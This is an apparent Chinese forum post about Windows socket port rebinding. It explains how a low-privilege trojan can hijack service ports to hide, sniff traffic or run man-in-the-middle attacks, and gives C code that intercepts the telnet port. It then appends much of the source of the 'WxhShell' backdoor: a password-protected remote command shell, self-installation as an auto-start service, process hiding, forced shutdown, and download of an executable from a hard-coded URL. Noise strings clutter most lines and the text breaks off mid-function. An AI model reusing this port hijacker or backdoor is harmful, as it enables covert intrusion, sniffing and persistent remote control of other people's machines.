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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #\~m}O,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D6_#r=08  
5'Mw{`  
  saddr.sin_family = AF_INET; U&kdR+dB  
Mn\L55?E(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); sC.cMZe  
W[!bF'- 10  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n\JSt}A  
'&/Y}]  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8QFRX'i  
>taT V_,  
  这意味着什么?意味着可以进行如下的攻击: R{4[.  
wj$3 L3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 g[2[ zIB=  
"=f,4Zbj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) #6AcM"  
'@^<c#h]=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aLevml2:T  
j~2t^Qz  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -J!k|GK#MX  
Iq;a!Lya-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #$t93EI  
ZCuh^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {flxZ}  
hEFn>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A|L-;P NP  
+/*A}!#v  
  #include w RTzpG4  
  #include NLWj5K)1P  
  #include 9 LEUj  
  #include    $<wU>X  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K0^+2lx  
  int main() %]DJ-7 xE  
  { UJX5}36  
  WORD wVersionRequested; tIX|oWC$q  
  DWORD ret; =WOYZ7  
  WSADATA wsaData; ,J-YfL^x6*  
  BOOL val; cRPy5['E  
  SOCKADDR_IN saddr; JENq?$S  
  SOCKADDR_IN scaddr; D2Kh+~l  
  int err; l$p"%5 ]_  
  SOCKET s; Jxb+NPUB  
  SOCKET sc; ~f2-%~  
  int caddsize; YsjTC$Tx,  
  HANDLE mt; !P:~oo =  
  DWORD tid;   YKj P E  
  wVersionRequested = MAKEWORD( 2, 2 ); vn5]+-I  
  err = WSAStartup( wVersionRequested, &wsaData ); ! F&{I  
  if ( err != 0 ) { d 7QWK(d  
  printf("error!WSAStartup failed!\n"); n;dp%SD  
  return -1; FJ&?My,=J  
  } .!Q[kn0a  
  saddr.sin_family = AF_INET; \h/aD1 &g  
   l< |)LD q~  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 r+l3J>:K  
q(@hYp#O"3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5E|/n(  
  saddr.sin_port = htons(23); T;I>5aQ:q4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /?8rj3  
  { | \JB/x  
  printf("error!socket failed!\n"); qxwD4L`S  
  return -1; *C(XGX\?-  
  } FU~:9EEx  
  val = TRUE; 0jwex  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 i%_nH"h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n47v5.Wn  
  { b{d@:"  
  printf("error!setsockopt failed!\n"); +l$BUX  
  return -1; ;,]Wtmu)7  
  } ~); 7D'[  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; yX8$LOjE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 5SY(:!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 aq,?  
Z4Qq#iHZR  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5AT[1@H(_  
  { ?\Jl] {i2  
  ret=GetLastError(); Ik|nL#JH]  
  printf("error!bind failed!\n"); E>SLR8!C v  
  return -1; PM%Gsy]q  
  } t7DT5SrR  
  listen(s,2); -5yEd>Z  
  while(1) 3+jqf@fO  
  { 9a9{OJa6M  
  caddsize = sizeof(scaddr); UYb:q  
  //接受连接请求 y| %rW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h|1 /Q (  
  if(sc!=INVALID_SOCKET) JuT~~Z  
  { 7l3sd5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); n P4DHb&5  
  if(mt==NULL) dAcy;-[[P  
  { ',p`B-dw  
  printf("Thread Creat Failed!\n"); 5zF7yvS.w  
  break; vJfex,#lv  
  } t1YVE%`w  
  } /g!', r,  
  CloseHandle(mt); 'e>0*hF[  
  } ] T! >]  
  closesocket(s); }A`4ae=  
  WSACleanup(); M1T)e9k=x  
  return 0; 3 tp'}v  
  }   T/&4lJ^2l^  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4`7:gfrO,  
  { h~ =UFE%'  
  SOCKET ss = (SOCKET)lpParam; v9OK <  
  SOCKET sc; G? "6[w/p  
  unsigned char buf[4096]; 0xM\+R~,  
  SOCKADDR_IN saddr; 0"L_0 t:  
  long num; 50.cMms  
  DWORD val; y++[:M  
  DWORD ret; auTApYS53  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \Z^YaKj&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   IPoNAi<b  
  saddr.sin_family = AF_INET; 3R[5prE<  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q0_UBm^f  
  saddr.sin_port = htons(23); {\L /?#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZLJfSnB  
  { 4` gAluJ#  
  printf("error!socket failed!\n"); [huS"1  
  return -1; 1/YWDxo,  
  } bi bjFg   
  val = 100; -qBrJ1*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vx^+Z,y&QP  
  { E8~Bp-G)  
  ret = GetLastError(); !$x9s'D  
  return -1; 39QAj&  
  } C0X_t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8rXu^  
  { H1>}E5^?  
  ret = GetLastError(); ~ b ;%J:  
  return -1; a 8Jn.!  
  } +tNu8M@xFo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >?q()>l  
  { kmm1b (  
  printf("error!socket connect failed!\n"); UHYnl ]  
  closesocket(sc); shOQ/  
  closesocket(ss); d3# >\QCD9  
  return -1; eEIa=MB*  
  } sV+/JDl  
  while(1) !K#Q[Ee  
  { Q0I22?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d([NU;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8=H!&+aGh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Yqy7__vm  
  num = recv(ss,buf,4096,0); bBBW7',[a  
  if(num>0) #]'#\d#i  
  send(sc,buf,num,0); 3PLv;@!#j}  
  else if(num==0) QcGyuS.B  
  break; 1;R1Fj&  
  num = recv(sc,buf,4096,0); V6Y:l9  
  if(num>0) |~Hlv^6H  
  send(ss,buf,num,0); w^?uBeqR  
  else if(num==0) |"vUC/R2&  
  break; N246RV1W  
  } -gl7mO*  
  closesocket(ss); cWSiJr):r  
  closesocket(sc); ]VY}VALZ  
  return 0 ; : uglv6  
  } Rdd[b?  
y-gSal  
:yo tpa  
========================================================== V^WR(Q}  
oO-kO!59y  
下边附上一个代码,,WXhSHELL "k(Ee  
n5X0Gi9  
========================================================== /AX1LYlr  
8S[`(] )  
#include "stdafx.h" |T~C($9  
C3 ^QNhv  
#include <stdio.h> 5 iUT#  
#include <string.h> 1CFTQB>  
#include <windows.h> o/bmS57  
#include <winsock2.h> {%ZD ^YSA  
#include <winsvc.h> _6v|k}tW'Y  
#include <urlmon.h> JJ5s |&}  
!SAjV)  
#pragma comment (lib, "Ws2_32.lib") K'EGm #I  
#pragma comment (lib, "urlmon.lib") )2KQZMtgm]  
| -l)$i@  
#define MAX_USER   100 // 最大客户端连接数 %Ji@\|Zkf  
#define BUF_SOCK   200 // sock buffer 8|uFW7Q  
#define KEY_BUFF   255 // 输入 buffer ^T83E}  
?r"'JO.w  
#define REBOOT     0   // 重启 T> cvV  
#define SHUTDOWN   1   // 关机 Mj2o>N2,  
Ai&-W  
#define DEF_PORT   5000 // 监听端口 o;+$AU1f  
;ZMm6o  
#define REG_LEN     16   // 注册表键长度 \*Ro a&<!  
#define SVC_LEN     80   // NT服务名长度 l(Dkmt>^  
a%a_sR\)  
// 从dll定义API _,Wb`P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); n$n)!XL/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !sA[A>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E^a He  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C=& 7V  
) # le|Rf  
// wxhshell配置信息 =l?F_  
struct WSCFG { N6Mo|  
  int ws_port;         // 监听端口 :uE:mY%R  
  char ws_passstr[REG_LEN]; // 口令 #'N"<o[  
  int ws_autoins;       // 安装标记, 1=yes 0=no RHc63b\  
  char ws_regname[REG_LEN]; // 注册表键名 w,fA-*bZ 0  
  char ws_svcname[REG_LEN]; // 服务名 5|>FM&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pJ Iq`)p5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 AV\6K;~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^sR]w]cz.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Nf(Np1?;c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !iBe/yb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Sq"O<FmI  
*5'U3py  
}; cs[_5r&:  
,2\?kPoc8  
// default Wxhshell configuration Te=[tx~x  
struct WSCFG wscfg={DEF_PORT, e|)6zh<O:  
    "xuhuanlingzhe", >CtT_yhx  
    1, C'mYR3?m;  
    "Wxhshell", 5}d"nx  
    "Wxhshell", gPs%v`y)*D  
            "WxhShell Service", v o vc,4}  
    "Wrsky Windows CmdShell Service", 7'g'qUW+~  
    "Please Input Your Password: ", dHp(U :)  
  1, o";5@NH  
  "http://www.wrsky.com/wxhshell.exe", UruD&=AMK  
  "Wxhshell.exe" /XtpGk_1)  
    }; %a- *Ku  
f;1DhAS  
// 消息定义模块 =SJwCT0;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QJ2V&t"3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j{00iA}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !;'#f xW[  
char *msg_ws_ext="\n\rExit."; >*#clf;@p  
char *msg_ws_end="\n\rQuit."; *k)v#;B  
char *msg_ws_boot="\n\rReboot..."; i7g+8 zd8d  
char *msg_ws_poff="\n\rShutdown..."; HAa2q=  
char *msg_ws_down="\n\rSave to "; !QK ~l  
h/u>F$}c  
char *msg_ws_err="\n\rErr!";  d~B ]s  
char *msg_ws_ok="\n\rOK!"; thWQU"z4  
v0EF?$Wo  
char ExeFile[MAX_PATH]; >05_#{up  
int nUser = 0; ^B[%|{cO  
HANDLE handles[MAX_USER]; ATq)8Rm\  
int OsIsNt; TEC'}%   
 wfr+-  
SERVICE_STATUS       serviceStatus;  g wM~W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kkfwICBI  
Q2[@yRY/z  
// 函数声明 "Uy==~  
int Install(void); )aY^k|I  
int Uninstall(void); )Ih '0>=  
int DownloadFile(char *sURL, SOCKET wsh); LwDm(gG  
int Boot(int flag); `uRf*-   
void HideProc(void); '_)NI  
int GetOsVer(void); L`E^BuP/  
int Wxhshell(SOCKET wsl); d5?"GFy  
void TalkWithClient(void *cs); S}zh0`+d'Z  
int CmdShell(SOCKET sock); &^WJ:BvA|^  
int StartFromService(void); x!$Dje}  
int StartWxhshell(LPSTR lpCmdLine); Ta;'f7Oz  
5r1{l%?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2p3ep,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HD"Pz}k4  
mQ#E{{:H+  
// 数据结构和表定义 CS[[TzC=5  
SERVICE_TABLE_ENTRY DispatchTable[] = P $4h_dw  
{ V'vDXzk\  
{wscfg.ws_svcname, NTServiceMain}, B/#tR^R  
{NULL, NULL}  q0Rd^c  
}; OE,uw2uaT  
rN3i5.*/t  
// 自我安装 sDV*k4  
int Install(void) CRsgR)  
{ F$a?} }  
  char svExeFile[MAX_PATH]; UO-<~DgH  
  HKEY key; FQNw89g  
  strcpy(svExeFile,ExeFile); 0:K4,  
YXC?q  
// 如果是win9x系统,修改注册表设为自启动 2?; =TJo$  
if(!OsIsNt) { HA}pr6Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { C^Jf&a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rTJv>Jjld  
  RegCloseKey(key); q3.L6M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3wRk -sl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7ky$9+~  
  RegCloseKey(key); cI#2MjL  
  return 0; |E+tQQr%'  
    } Y,1sNg  
  } }Ip"j]h  
} "zJGYBen  
else { J:M)gh~#  
9A]XuPAlh  
// 如果是NT以上系统,安装为系统服务 XxT7YCi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Bsm>^zZ`YU  
if (schSCManager!=0) ,l[h9J  
{ mi~ BdBv  
  SC_HANDLE schService = CreateService ^Pc>/lY$Q%  
  ( G$\2@RT9[  
  schSCManager, BV=L.*  
  wscfg.ws_svcname, C9oF*{  
  wscfg.ws_svcdisp, |JVeW[C  
  SERVICE_ALL_ACCESS, !oXA^7Th6]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #UN(R  
  SERVICE_AUTO_START, U'i L|JRF  
  SERVICE_ERROR_NORMAL, ?H9F"B$a  
  svExeFile, G-FTyIP>'  
  NULL, r30t`o12i  
  NULL,  *,9.Bx*  
  NULL, %SV"iXxY  
  NULL, % I]?xe6  
  NULL +cAN4  
  ); T7W*S-IW  
  if (schService!=0) ,WF)GS|7V  
  { _#c^z;!  
  CloseServiceHandle(schService); Uk5O9D0 He  
  CloseServiceHandle(schSCManager); \! 8`kC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .ON+ ( #n  
  strcat(svExeFile,wscfg.ws_svcname); vfT<%Kl!'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }K=T B}yY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); J90q\_dY.  
  RegCloseKey(key); + ~ro*{3  
  return 0; Yuy7TeJRx  
    } [0GM!3YJ7  
  } l'~]8Wo1  
  CloseServiceHandle(schSCManager); #80*3vi~F  
} <DS+"#  
} 9E{Bn#  
eK"B.q7  
return 1; Vy = fm  
} hA`>SkO  
kP%Hg/f/Ot  
// 自我卸载 DI=Nqa)r  
int Uninstall(void) aE^tc'h~  
{ ?v2OoNQ   
  HKEY key; g j`"|  
dG{`Jk  
if(!OsIsNt) { pk'@!|g%=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ki6`d?  
  RegDeleteValue(key,wscfg.ws_regname); ~Z5?\a2Ld  
  RegCloseKey(key); H[%F o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .kM74X=S  
  RegDeleteValue(key,wscfg.ws_regname); Hk-)fl#dr  
  RegCloseKey(key); (^g?/i1@d  
  return 0; !x.^ya  
  } 9E _C u2B  
} 3 uwZ#   
} r;w_B%9  
else { V|NWJ7   
>vg!<%]W]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9/w'4bd  
if (schSCManager!=0)  l;>#O  
{ V"VWHAu*.w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %+$P<Rw7  
  if (schService!=0) xmtbSRgK9  
  { iUh_rX9A"  
  if(DeleteService(schService)!=0) { 96F:%|yG  
  CloseServiceHandle(schService); S=lA^#'UdX  
  CloseServiceHandle(schSCManager); xM%E;  
  return 0; ( 5 d ~0  
  } yy?|q0  
  CloseServiceHandle(schService); ] K7>R0  
  } ?Gl'-tV  
  CloseServiceHandle(schSCManager); EU,4qO  
} 6<H[1PI`,G  
}  e4NT  
@6GM)N\{[  
return 1; 7|6tH@4Ub  
} +7<{yP6wU  
_u}v(!PI  
// 从指定url下载文件 L{2\NJ"+u  
int DownloadFile(char *sURL, SOCKET wsh) |aN0|O2  
{ l1c&a[M)  
  HRESULT hr; ,$3  
char seps[]= "/"; <Q=ES,M  
char *token; ^e8R 43w:!  
char *file; 5h[u2&;G  
char myURL[MAX_PATH]; p)ta c*US  
char myFILE[MAX_PATH]; ZP?k|sEH  
c}mJ6Pt  
strcpy(myURL,sURL); :LVM'c62c>  
  token=strtok(myURL,seps); &+`l $h  
  while(token!=NULL) NpD}7t<EF  
  { GT%V,OJ  
    file=token; MvY0?!v  
  token=strtok(NULL,seps); oKt<s+r  
  } X5wS6v)#(  
?9vBn  
GetCurrentDirectory(MAX_PATH,myFILE); uGl0z79  
strcat(myFILE, "\\"); *wp'`3y}  
strcat(myFILE, file); !U>"H8}dv  
  send(wsh,myFILE,strlen(myFILE),0); aJMh>  
send(wsh,"...",3,0); W _b $E =  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (uOW5,e7  
  if(hr==S_OK) O)Nt"k7 b  
return 0; fokT)nf~^8  
else 8)rv.'A((E  
return 1; (Wq9YDD@  
joDfvY*[  
} 6Epns s  
NOx&`OU+  
// 系统电源模块 /BT;Q)( &  
int Boot(int flag) kRiWNEw  
{ }(E6:h;}~  
  HANDLE hToken; '! 1ts@  
  TOKEN_PRIVILEGES tkp; a\}|ikiE  
e%bER ds  
  if(OsIsNt) { CR934TE+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (%#d._j>fZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o9wg<LP  
    tkp.PrivilegeCount = 1; e+y< a~N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 4Bx1L+Cg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z(K[oUJx  
if(flag==REBOOT) { NH 'RU`U)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +7 F7Kh  
  return 0; 'VJMi5Y(-  
} (dMFYL>YP  
else { GJO/']k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8.pz?{**T  
  return 0; 3jS=  
} <Dm6CH  
  } +{hxEDz  
  else { y^@% Xrs  
if(flag==REBOOT) { 5.?O PK6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y ga}8DU  
  return 0; tEN]0`  
} o95O!5 hl  
else { e!4akKw4wD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =~=/ dq  
  return 0; $elrX-(vL  
} R8'yQ#FVy  
} {Y/| 7Cl0  
)sV# b  
return 1; TdKl`"Iy  
} h*MR5qa  
"[[fQpe4@  
// win9x进程隐藏模块 e982IP  
void HideProc(void) nrt0[E-&~  
{ klf<=V  
e<9nt [  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o B6" D  
  if ( hKernel != NULL ) /#:RYM'Tu  
  { ?G?=,tV  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 2M&4]d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K6Gc)jp:b  
    FreeLibrary(hKernel); ,6M-xSDs  
  } ,j_{IL690  
&us8,x6yg  
return; l m  
} e-e{-pB6  
5)nv  
// 获取操作系统版本 ,O[vxN1X*  
int GetOsVer(void) )D[ypuM&  
{ BB%(!O4Dl  
  OSVERSIONINFO winfo; LpmspIPvf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9d{W/t?NH  
  GetVersionEx(&winfo); =k$d8g ez  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q%eBm_r;  
  return 1; ^1~/FU  
  else pM46I"  
  return 0; Q ,;x;QR4  
} N\uQ-XOi  
Ec\x;li! *  
// 客户端句柄模块 .oK7E(QJ  
int Wxhshell(SOCKET wsl) \s+MHa&  
{ Q5<vK{  
  SOCKET wsh; b]JN23IS2  
  struct sockaddr_in client; ]~K&mNo  
  DWORD myID; %eV`};9  
!8L Ql}  
  while(nUser<MAX_USER) L}21[ N~ky  
{ &R5M&IwL  
  int nSize=sizeof(client); *z+\yfOO"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D{loX6  
  if(wsh==INVALID_SOCKET) return 1; f%|S>(   
}oN(nPxv9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T^nX+;:|  
if(handles[nUser]==0) I2W2B3D` c  
  closesocket(wsh); ;9I#>u  
else v PGuEfz  
  nUser++; K[kmfXKu  
  } OeAPBhTmFj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z9+94<J  
D/:)rj14b  
  return 0; }cPV_^{  
} {``}TsN  
:_aY:`  
// 关闭 socket U3V<ITZI8t  
void CloseIt(SOCKET wsh) 6)3eB{$;  
{ PR'FSTg  
closesocket(wsh); ]bR'J\Fwl  
nUser--; :5*<QJuI#A  
ExitThread(0); xw-q)u  
} &*y ve}su  
}fCM_w  
// 客户端请求句柄 K%gFD?{^q  
void TalkWithClient(void *cs) b>7ts_b  
{ |M?HdxPa  
@\h(s#sn  
  SOCKET wsh=(SOCKET)cs; Ue8D:C M  
  char pwd[SVC_LEN]; E^YbyJ=1  
  char cmd[KEY_BUFF]; z8!u6odu %  
char chr[1]; _@p|A  
int i,j; ' " tieew  
d+;wDu   
  while (nUser < MAX_USER) { {+[gf:Ev  
"J.jmR;  
if(wscfg.ws_passstr) { }dHiW:J>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u#,]>;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4bBxZY  
  //ZeroMemory(pwd,KEY_BUFF); 9F+bWo_m  
      i=0; {S}@P~H =  
  while(i<SVC_LEN) { Yo(B8}?0!  
i\ Vpp8<B  
  // 设置超时 NN:TT\!v  
  fd_set FdRead; {DK:"ep  
  struct timeval TimeOut; >YfOR%mS4  
  FD_ZERO(&FdRead); L)+ eM&W  
  FD_SET(wsh,&FdRead); bT8UmR98  
  TimeOut.tv_sec=8; =_H39)|T  
  TimeOut.tv_usec=0; { &'TA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @j (jOe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :kVV.a#g  
L C7LO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); sy?>e*-{  
  pwd=chr[0]; !kcg#+s91  
  if(chr[0]==0xd || chr[0]==0xa) { .'a|St  
  pwd=0; mr1}e VM~!  
  break; y|dXxd9  
  } mqHt%RX  
  i++; Z:v1?v  
    } _UBI,Dg]  
'=H^m D+gl  
  // 如果是非法用户,关闭 socket qck/b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vck$@3*  
} ) G{v>Z ,  
3XnXQ/({  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $"8k|^Z3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w!}1oy  
[:QMnJ  
while(1) { (*RybKoaA  
l(5-Cr  
  ZeroMemory(cmd,KEY_BUFF); t0>{0 5  
&~%@QC/  
      // 自动支持客户端 telnet标准   N>R%0m<e  
  j=0; ie(7m| .  
  while(j<KEY_BUFF) { (<l2 ^H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v'!Nt k  
  cmd[j]=chr[0]; ?lK!OyCkc  
  if(chr[0]==0xa || chr[0]==0xd) { h9I )<_}R  
  cmd[j]=0; X*"K g  
  break; nIjQLx  
  } RFJ;hh  
  j++; FZ9<Q  
    } ^kr)U8  
z6lz*%Yi  
  // 下载文件 j;v%4G  
  if(strstr(cmd,"http://")) { [hL1 PWKs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !I[n|r"  
  if(DownloadFile(cmd,wsh)) tD]&et  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @__;RVQ  
  else `I8^QcP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ymZ/(:3_  
  } { +2cRr.  
  else { Zir`IQ$  
SR& mHI-f0  
    switch(cmd[0]) { skz]@{38  
  F}]_/cY7B  
  // 帮助 `#rfp 9w  
  case '?': { /6?plt&CA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y!gM)9vq  
    break; L"iyjL<M  
  } ~ ZL`E  
  // 安装 Fnpn_O XlH  
  case 'i': { t^,Qy.L0  
    if(Install()) XO#)i6}G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9|?Lz  
    else ~(j'a!#Vvk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xLI{=sL  
    break; N1~V +_mM  
    }  |{)xC=  
  // 卸载 (nD$%/uK'  
  case 'r': { 1fFb 7n~3  
    if(Uninstall()) S;Z3v)E-f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,-3(^d\1F  
    else yCIgxPv|7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <j\;>3Q  
    break; .4<U*Xkt  
    } WrNgV@P  
  // 显示 wxhshell 所在路径 5%+}rSn7  
  case 'p': { r0deBRM  
    char svExeFile[MAX_PATH]; aT!9W'uY  
    strcpy(svExeFile,"\n\r"); ?=!XhU .  
      strcat(svExeFile,ExeFile); 0l: pWc  
        send(wsh,svExeFile,strlen(svExeFile),0); Tud1xq  
    break; n u8j_grW  
    } R.H\b!  
  // 重启 *+j{9LK  
  case 'b': { 2A}uqaF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /iy*3P,`  
    if(Boot(REBOOT)) c^Jgr(Ow  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0@K:Tq-mF  
    else { B21AcE  
    closesocket(wsh); g]<Z]R`  
    ExitThread(0); OgN1{vRFx  
    } L4pjh&+8  
    break; (oitCIV  
    } G>,nZ/,A{  
  // 关机 %lJiM`a  
  case 'd': { iW@Vw{|i I  
